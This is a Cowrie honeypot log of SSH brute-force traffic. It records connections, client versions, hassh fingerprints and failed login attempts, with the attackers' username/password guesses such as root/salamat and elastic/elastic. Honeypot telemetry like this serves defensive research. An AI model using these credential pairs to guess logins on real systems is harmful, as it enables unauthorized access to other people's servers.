{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62866,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e51e1c281df","protocol":"ssh","message":"New connection: 141.11.88.14:62866 (10.17.0.5:22) [session: 8e51e1c281df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:00.543315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:00.713540Z","src_ip":"141.11.88.14","session":"8e51e1c281df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:00.717122Z","src_ip":"141.11.88.14","session":"8e51e1c281df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:02.512214Z","src_ip":"141.11.88.14","session":"8e51e1c281df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:03.624936Z","src_ip":"141.11.88.14","session":"8e51e1c281df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15476,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e75df37b2e6","protocol":"ssh","message":"New connection: 141.11.88.14:15476 (10.17.0.5:22) [session: 6e75df37b2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:10.331981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:10.468247Z","src_ip":"141.11.88.14","session":"6e75df37b2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:10.533507Z","src_ip":"141.11.88.14","session":"6e75df37b2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernando","password":"fernando","message":"login attempt [fernando/fernando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:11.418476Z","src_ip":"141.11.88.14","session":"6e75df37b2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:12.503357Z","src_ip":"141.11.88.14","session":"6e75df37b2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36518,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f44c89b8c45","protocol":"ssh","message":"New connection: 141.11.88.14:36518 (10.17.0.5:22) [session: 5f44c89b8c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:18.585383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:18.601554Z","src_ip":"141.11.88.14","session":"5f44c89b8c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:18.767480Z","src_ip":"141.11.88.14","session":"5f44c89b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:19.396233Z","src_ip":"141.11.88.14","session":"5f44c89b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47350,"dst_ip":"10.17.0.5","dst_port":22,"session":"62fb2e51407b","protocol":"ssh","message":"New connection: 103.15.222.183:47350 (10.17.0.5:22) [session: 62fb2e51407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:20.135550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:20.141261Z","src_ip":"103.15.222.183","session":"62fb2e51407b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:20.395421Z","src_ip":"103.15.222.183","session":"62fb2e51407b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:20.600113Z","src_ip":"141.11.88.14","session":"5f44c89b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":45562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8a9a8f826a6","protocol":"ssh","message":"New connection: 103.143.231.24:45562 (10.17.0.5:22) [session: a8a9a8f826a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:21.067827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:21.073547Z","src_ip":"103.143.231.24","session":"a8a9a8f826a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:21.144187Z","src_ip":"103.143.231.24","session":"a8a9a8f826a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"salamat","message":"login attempt [root/salamat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:21.162776Z","src_ip":"103.15.222.183","session":"62fb2e51407b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sql","password":"123","message":"login attempt [sql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:21.458726Z","src_ip":"103.143.231.24","session":"a8a9a8f826a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:22.419353Z","src_ip":"103.15.222.183","session":"62fb2e51407b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:22.541048Z","src_ip":"103.143.231.24","session":"a8a9a8f826a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":60596,"dst_ip":"159.203.135.109","dst_port":22,"session":"23f58c6807c6","protocol":"ssh","message":"New connection: 160.191.244.158:60596 (159.203.135.109:22) [session: 23f58c6807c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:25.763348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:25.767603Z","src_ip":"160.191.244.158","session":"23f58c6807c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.003946Z","src_ip":"160.191.244.158","session":"23f58c6807c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36568,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc2876b2ea1","protocol":"ssh","message":"New connection: 141.11.88.14:36568 (10.17.0.5:22) [session: acc2876b2ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.205435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.229923Z","src_ip":"141.11.88.14","session":"acc2876b2ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.318674Z","src_ip":"141.11.88.14","session":"acc2876b2ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123","message":"login attempt [david/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.834033Z","src_ip":"141.11.88.14","session":"acc2876b2ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gu","password":"gu123","message":"login attempt [gu/gu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:26.982891Z","src_ip":"160.191.244.158","session":"23f58c6807c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:27.918896Z","src_ip":"141.11.88.14","session":"acc2876b2ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:28.228396Z","src_ip":"160.191.244.158","session":"23f58c6807c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70717191696167,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:29.051816Z","src_ip":"94.23.66.112","session":"d65cdb700310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":57963,"dst_ip":"159.203.135.109","dst_port":22,"session":"764810b3354f","protocol":"ssh","message":"New connection: 178.20.210.208:57963 (159.203.135.109:22) [session: 764810b3354f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:29.172704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:29.178057Z","src_ip":"178.20.210.208","session":"764810b3354f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:29.281637Z","src_ip":"178.20.210.208","session":"764810b3354f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sugipula","message":"login attempt [root/sugipula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:29.676583Z","src_ip":"178.20.210.208","session":"764810b3354f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:30.782526Z","src_ip":"178.20.210.208","session":"764810b3354f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53768,"dst_ip":"10.17.0.5","dst_port":22,"session":"755ab96db822","protocol":"ssh","message":"New connection: 141.11.88.14:53768 (10.17.0.5:22) [session: 755ab96db822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:32.930209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:30:33.008571Z","src_ip":"141.11.88.14","session":"755ab96db822","protocol":"ssh"}
